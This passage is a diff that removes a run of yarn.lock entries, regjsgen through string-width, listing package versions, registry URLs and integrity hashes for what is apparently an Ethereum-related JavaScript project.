-    regjsgen "^0.2.0"
-    regjsparser "^0.1.4"
-
-regjsgen@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.2.0.tgz#6c016adeac554f75823fe37ac05b92d5a4edb1f7"
-  integrity sha1-bAFq3qxVT3WCP+N6wFuS1aTtsfc=
-
-regjsparser@^0.1.4:
-  version "0.1.5"
-  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.1.5.tgz#7ee8f84dc6fa792d3fd0ae228d24bd949ead205c"
-  integrity sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=
-  dependencies:
-    jsesc "~0.5.0"
-
-repeat-element@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.4.tgz#be681520847ab58c7568ac75fbfad28ed42d39e9"
-  integrity sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==
-
-repeat-string@^1.6.1:
-  version "1.6.1"
-  resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
-  integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
-
-repeating@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/repeating/-/repeating-2.0.1.tgz#5214c53a926d3552707527fbab415dbc08d06dda"
-  integrity sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=
-  dependencies:
-    is-finite "^1.0.0"
-
-request@^2.79.0, request@^2.85.0:
-  version "2.88.2"
-  resolved "https://registry.yarnpkg.com/request/-/request-2.88.2.tgz#d73c918731cb5a87da047e207234146f664d12b3"
-  integrity sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==
-  dependencies:
-    aws-sign2 "~0.7.0"
-    aws4 "^1.8.0"
-    caseless "~0.12.0"
-    combined-stream "~1.0.6"
-    extend "~3.0.2"
-    forever-agent "~0.6.1"
-    form-data "~2.3.2"
-    har-validator "~5.1.3"
-    http-signature "~1.2.0"
-    is-typedarray "~1.0.0"
-    isstream "~0.1.2"
-    json-stringify-safe "~5.0.1"
-    mime-types "~2.1.19"
-    oauth-sign "~0.9.0"
-    performance-now "^2.1.0"
-    qs "~6.5.2"
-    safe-buffer "^5.1.2"
-    tough-cookie "~2.5.0"
-    tunnel-agent "^0.6.0"
-    uuid "^3.3.2"
-
-require-directory@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
-  integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I=
-
-require-from-string@^1.1.0:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-1.2.1.tgz#529c9ccef27380adfec9a2f965b649bbee636418"
-  integrity sha1-UpyczvJzgK3+yaL5ZbZJu+5jZBg=
-
-require-from-string@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909"
-  integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==
-
-require-main-filename@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-1.0.1.tgz#97f717b69d48784f5f526a6c5aa8ffdda055a4d1"
-  integrity sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=
-
-resolve-url@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
-  integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
-
-resolve@^1.10.0, resolve@^1.8.1:
-  version "1.20.0"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.20.0.tgz#629a013fb3f70755d6f0b7935cc1c2c5378b1975"
-  integrity sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==
-  dependencies:
-    is-core-module "^2.2.0"
-    path-parse "^1.0.6"
-
-resolve@~1.17.0:
-  version "1.17.0"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.17.0.tgz#b25941b54968231cc2d1bb76a79cb7f2c0bf8444"
-  integrity sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==
-  dependencies:
-    path-parse "^1.0.6"
-
-responselike@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/responselike/-/responselike-1.0.2.tgz#918720ef3b631c5642be068f15ade5a46f4ba1e7"
-  integrity sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=
-  dependencies:
-    lowercase-keys "^1.0.0"
-
-resumer@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/resumer/-/resumer-0.0.0.tgz#f1e8f461e4064ba39e82af3cdc2a8c893d076759"
-  integrity sha1-8ej0YeQGS6Oegq883CqMiT0HZ1k=
-  dependencies:
-    through "~2.3.4"
-
-ret@~0.1.10:
-  version "0.1.15"
-  resolved "https://registry.yarnpkg.com/ret/-/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc"
-  integrity sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==
-
-rimraf@^2.2.8, rimraf@^2.6.3:
-  version "2.7.1"
-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
-  integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
-  dependencies:
-    glob "^7.1.3"
-
-ripemd160@^2.0.0, ripemd160@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c"
-  integrity sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==
-  dependencies:
-    hash-base "^3.0.0"
-    inherits "^2.0.1"
-
-rlp@^2.0.0, rlp@^2.2.1, rlp@^2.2.2, rlp@^2.2.3, rlp@^2.2.4:
-  version "2.2.6"
-  resolved "https://registry.yarnpkg.com/rlp/-/rlp-2.2.6.tgz#c80ba6266ac7a483ef1e69e8e2f056656de2fb2c"
-  integrity sha512-HAfAmL6SDYNWPUOJNrM500x4Thn4PZsEy5pijPh40U9WfNk0z15hUYzO9xVIMAdIHdFtD8CBDHd75Td1g36Mjg==
-  dependencies:
-    bn.js "^4.11.1"
-
-rustbn.js@~0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/rustbn.js/-/rustbn.js-0.2.0.tgz#8082cb886e707155fd1cb6f23bd591ab8d55d0ca"
-  integrity sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA==
-
-safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
-
-safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
-  integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
-
-safe-event-emitter@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/safe-event-emitter/-/safe-event-emitter-1.0.1.tgz#5b692ef22329ed8f69fdce607e50ca734f6f20af"
-  integrity sha512-e1wFe99A91XYYxoQbcq2ZJUWurxEyP8vfz7A7vuUe1s95q8r5ebraVaA1BukYJcpM6V16ugWoD9vngi8Ccu5fg==
-  dependencies:
-    events "^3.0.0"
-
-safe-regex@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
-  integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
-  dependencies:
-    ret "~0.1.10"
-
-"safer-buffer@>= 2.1.2 < 3", "safer-buffer@>= 2.1.2 < 3.0.0", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
-  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
-
-scrypt-js@3.0.1, scrypt-js@^3.0.0, scrypt-js@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/scrypt-js/-/scrypt-js-3.0.1.tgz#d314a57c2aef69d1ad98a138a21fe9eafa9ee312"
-  integrity sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==
-
-scryptsy@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/scryptsy/-/scryptsy-1.2.1.tgz#a3225fa4b2524f802700761e2855bdf3b2d92163"
-  integrity sha1-oyJfpLJST4AnAHYeKFW987LZIWM=
-  dependencies:
-    pbkdf2 "^3.0.3"
-
-secp256k1@^4.0.1:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/secp256k1/-/secp256k1-4.0.2.tgz#15dd57d0f0b9fdb54ac1fa1694f40e5e9a54f4a1"
-  integrity sha512-UDar4sKvWAksIlfX3xIaQReADn+WFnHvbVujpcbr+9Sf/69odMwy2MUsz5CKLQgX9nsIyrjuxL2imVyoNHa3fg==
-  dependencies:
-    elliptic "^6.5.2"
-    node-addon-api "^2.0.0"
-    node-gyp-build "^4.2.0"
-
-seedrandom@3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/seedrandom/-/seedrandom-3.0.1.tgz#eb3dde015bcf55df05a233514e5df44ef9dce083"
-  integrity sha512-1/02Y/rUeU1CJBAGLebiC5Lbo5FnB22gQbIFFYTLkwvp1xdABZJH1sn4ZT1MzXmPpzv+Rf/Lu2NcsLJiK4rcDg==
-
-semaphore@>=1.0.1, semaphore@^1.0.3, semaphore@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/semaphore/-/semaphore-1.1.0.tgz#aaad8b86b20fe8e9b32b16dc2ee682a8cd26a8aa"
-  integrity sha512-O4OZEaNtkMd/K0i6js9SL+gqy0ZCBMgUvlSqHKi4IBdjhe7wB8pwztUk1BbZ1fmrvpwFrPbHzqd2w5pTcJH6LA==
-
-"semver@2 || 3 || 4 || 5", semver@^5.3.0, semver@^5.5.0, semver@^5.6.0:
-  version "5.7.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-  integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
-
-semver@~5.4.1:
-  version "5.4.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.4.1.tgz#e059c09d8571f0540823733433505d3a2f00b18e"
-  integrity sha512-WfG/X9+oATh81XtllIo/I8gOiY9EXRdv1cQdyykeXK17YcUW3EXUAi2To4pcH6nZtJPr7ZOpM5OMyWJZm+8Rsg==
-
-send@0.17.1:
-  version "0.17.1"
-  resolved "https://registry.yarnpkg.com/send/-/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8"
-  integrity sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==
-  dependencies:
-    debug "2.6.9"
-    depd "~1.1.2"
-    destroy "~1.0.4"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    fresh "0.5.2"
-    http-errors "~1.7.2"
-    mime "1.6.0"
-    ms "2.1.1"
-    on-finished "~2.3.0"
-    range-parser "~1.2.1"
-    statuses "~1.5.0"
-
-serialize-javascript@5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-5.0.1.tgz#7886ec848049a462467a97d3d918ebb2aaf934f4"
-  integrity sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==
-  dependencies:
-    randombytes "^2.1.0"
-
-serve-static@1.14.1:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9"
-  integrity sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==
-  dependencies:
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    parseurl "~1.3.3"
-    send "0.17.1"
-
-servify@^0.1.12:
-  version "0.1.12"
-  resolved "https://registry.yarnpkg.com/servify/-/servify-0.1.12.tgz#142ab7bee1f1d033b66d0707086085b17c06db95"
-  integrity sha512-/xE6GvsKKqyo1BAY+KxOWXcLpPsUUyji7Qg3bVD7hh1eRze5bR1uYiuDA/k3Gof1s9BTzQZEJK8sNcNGFIzeWw==
-  dependencies:
-    body-parser "^1.16.0"
-    cors "^2.8.1"
-    express "^4.14.0"
-    request "^2.79.0"
-    xhr "^2.3.3"
-
-set-blocking@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
-  integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
-
-set-immediate-shim@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz#4b2b1b27eb808a9f8dcc481a58e5e56f599f3f61"
-  integrity sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=
-
-set-value@^2.0.0, set-value@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/set-value/-/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b"
-  integrity sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-extendable "^0.1.1"
-    is-plain-object "^2.0.3"
-    split-string "^3.0.1"
-
-setimmediate@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
-  integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
-
-setprototypeof@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
-  integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==
-
-sha.js@^2.4.0, sha.js@^2.4.8:
-  version "2.4.11"
-  resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
-  integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==
-  dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-shebang-command@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
-  integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
-  dependencies:
-    shebang-regex "^1.0.0"
-
-shebang-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
-  integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
-
-simple-concat@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/simple-concat/-/simple-concat-1.0.1.tgz#f46976082ba35c2263f1c8ab5edfe26c41c9552f"
-  integrity sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==
-
-simple-get@^2.7.0:
-  version "2.8.1"
-  resolved "https://registry.yarnpkg.com/simple-get/-/simple-get-2.8.1.tgz#0e22e91d4575d87620620bc91308d57a77f44b5d"
-  integrity sha512-lSSHRSw3mQNUGPAYRqo7xy9dhKmxFXIjLjp4KHpf99GEH2VH7C3AM+Qfx6du6jhfUi6Vm7XnbEVEf7Wb6N8jRw==
-  dependencies:
-    decompress-response "^3.3.0"
-    once "^1.3.1"
-    simple-concat "^1.0.0"
-
-slash@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/slash/-/slash-1.0.0.tgz#c41f2f6c39fc16d1cd17ad4b5d896114ae470d55"
-  integrity sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=
-
-slash@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/slash/-/slash-2.0.0.tgz#de552851a1759df3a8f206535442f5ec4ddeab44"
-  integrity sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==
-
-snapdragon-node@^2.0.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/snapdragon-node/-/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b"
-  integrity sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==
-  dependencies:
-    define-property "^1.0.0"
-    isobject "^3.0.0"
-    snapdragon-util "^3.0.1"
-
-snapdragon-util@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/snapdragon-util/-/snapdragon-util-3.0.1.tgz#f956479486f2acd79700693f6f7b805e45ab56e2"
-  integrity sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==
-  dependencies:
-    kind-of "^3.2.0"
-
-snapdragon@^0.8.1:
-  version "0.8.2"
-  resolved "https://registry.yarnpkg.com/snapdragon/-/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d"
-  integrity sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==
-  dependencies:
-    base "^0.11.1"
-    debug "^2.2.0"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    map-cache "^0.2.2"
-    source-map "^0.5.6"
-    source-map-resolve "^0.5.0"
-    use "^3.1.0"
-
-solc@0.8.0:
-  version "0.8.0"
-  resolved "https://registry.nlark.com/solc/download/solc-0.8.0.tgz#99828ebf4f61d298875936e8649ebe4a09f029f7"
-  integrity sha1-mYKOv09h0piHWTboZJ6+SgnwKfc=
-  dependencies:
-    command-exists "^1.2.8"
-    commander "3.0.2"
-    follow-redirects "^1.12.1"
-    fs-extra "^0.30.0"
-    js-sha3 "0.8.0"
-    memorystream "^0.3.1"
-    require-from-string "^2.0.0"
-    semver "^5.5.0"
-    tmp "0.0.33"
-
-solc@^0.4.20:
-  version "0.4.26"
-  resolved "https://registry.yarnpkg.com/solc/-/solc-0.4.26.tgz#5390a62a99f40806b86258c737c1cf653cc35cb5"
-  integrity sha512-o+c6FpkiHd+HPjmjEVpQgH7fqZ14tJpXhho+/bQXlXbliLIS/xjXb42Vxh+qQY1WCSTMQ0+a5vR9vi0MfhU6mA==
-  dependencies:
-    fs-extra "^0.30.0"
-    memorystream "^0.3.1"
-    require-from-string "^1.1.0"
-    semver "^5.3.0"
-    yargs "^4.7.1"
-
-solc@^0.6.3:
-  version "0.6.12"
-  resolved "https://registry.yarnpkg.com/solc/-/solc-0.6.12.tgz#48ac854e0c729361b22a7483645077f58cba080e"
-  integrity sha512-Lm0Ql2G9Qc7yPP2Ba+WNmzw2jwsrd3u4PobHYlSOxaut3TtUbj9+5ZrT6f4DUpNPEoBaFUOEg9Op9C0mk7ge9g==
-  dependencies:
-    command-exists "^1.2.8"
-    commander "3.0.2"
-    fs-extra "^0.30.0"
-    js-sha3 "0.8.0"
-    memorystream "^0.3.1"
-    require-from-string "^2.0.0"
-    semver "^5.5.0"
-    tmp "0.0.33"
-
-source-map-resolve@^0.5.0:
-  version "0.5.3"
-  resolved "https://registry.yarnpkg.com/source-map-resolve/-/source-map-resolve-0.5.3.tgz#190866bece7553e1f8f267a2ee82c606b5509a1a"
-  integrity sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==
-  dependencies:
-    atob "^2.1.2"
-    decode-uri-component "^0.2.0"
-    resolve-url "^0.2.1"
-    source-map-url "^0.4.0"
-    urix "^0.1.0"
-
-source-map-support@0.5.12:
-  version "0.5.12"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.12.tgz#b4f3b10d51857a5af0138d3ce8003b201613d599"
-  integrity sha512-4h2Pbvyy15EE02G+JOZpUCmqWJuqrs+sEkzewTm++BPi7Hvn/HwcqLAcNxYAyI0x13CpPPn+kMjl+hplXMHITQ==
-  dependencies:
-    buffer-from "^1.0.0"
-    source-map "^0.6.0"
-
-source-map-support@^0.4.15:
-  version "0.4.18"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.4.18.tgz#0286a6de8be42641338594e97ccea75f0a2c585f"
-  integrity sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==
-  dependencies:
-    source-map "^0.5.6"
-
-source-map-url@^0.4.0:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.1.tgz#0af66605a745a5a2f91cf1bbf8a7afbc283dec56"
-  integrity sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==
-
-source-map@^0.5.6, source-map@^0.5.7:
-  version "0.5.7"
-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
-  integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=
-
-source-map@^0.6.0:
-  version "0.6.1"
-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
-  integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
-
-spdx-correct@^3.0.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9"
-  integrity sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==
-  dependencies:
-    spdx-expression-parse "^3.0.0"
-    spdx-license-ids "^3.0.0"
-
-spdx-exceptions@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz#3f28ce1a77a00372683eade4a433183527a2163d"
-  integrity sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==
-
-spdx-expression-parse@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679"
-  integrity sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==
-  dependencies:
-    spdx-exceptions "^2.1.0"
-    spdx-license-ids "^3.0.0"
-
-spdx-license-ids@^3.0.0:
-  version "3.0.8"
-  resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.8.tgz#eb1e97ad99b11bf3f82a3b71a0472dd9a00f2ecf"
-  integrity sha512-NDgA96EnaLSvtbM7trJj+t1LUR3pirkDCcz9nOUlPb5DMBGsH7oES6C3hs3j7R9oHEa1EMvReS/BUAIT5Tcr0g==
-
-split-string@^3.0.1, split-string@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/split-string/-/split-string-3.1.0.tgz#7cb09dda3a86585705c64b39a6466038682e8fe2"
-  integrity sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==
-  dependencies:
-    extend-shallow "^3.0.0"
-
-sshpk@^1.7.0:
-  version "1.16.1"
-  resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877"
-  integrity sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==
-  dependencies:
-    asn1 "~0.2.3"
-    assert-plus "^1.0.0"
-    bcrypt-pbkdf "^1.0.0"
-    dashdash "^1.12.0"
-    ecc-jsbn "~0.1.1"
-    getpass "^0.1.1"
-    jsbn "~0.1.0"
-    safer-buffer "^2.0.2"
-    tweetnacl "~0.14.0"
-
-static-extend@^0.1.1:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/static-extend/-/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6"
-  integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=
-  dependencies:
-    define-property "^0.2.5"
-    object-copy "^0.1.0"
-
-"statuses@>= 1.5.0 < 2", statuses@~1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
-  integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
-
-stream-to-pull-stream@^1.7.1:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/stream-to-pull-stream/-/stream-to-pull-stream-1.7.3.tgz#4161aa2d2eb9964de60bfa1af7feaf917e874ece"
-  integrity sha512-6sNyqJpr5dIOQdgNy/xcDWwDuzAsAwVzhzrWlAPAQ7Lkjx/rv0wgvxEyKwTq6FmNd5rjTrELt/CLmaSw7crMGg==
-  dependencies:
-    looper "^3.0.0"
-    pull-stream "^3.2.3"
-
-strict-uri-encode@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz#279b225df1d582b1f54e65addd4352e18faa0713"
-  integrity sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=
-
-string-width@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-1.0.2.tgz#118bdf5b8cdc51a2a7e70d211e07e2b0b9b107d3"
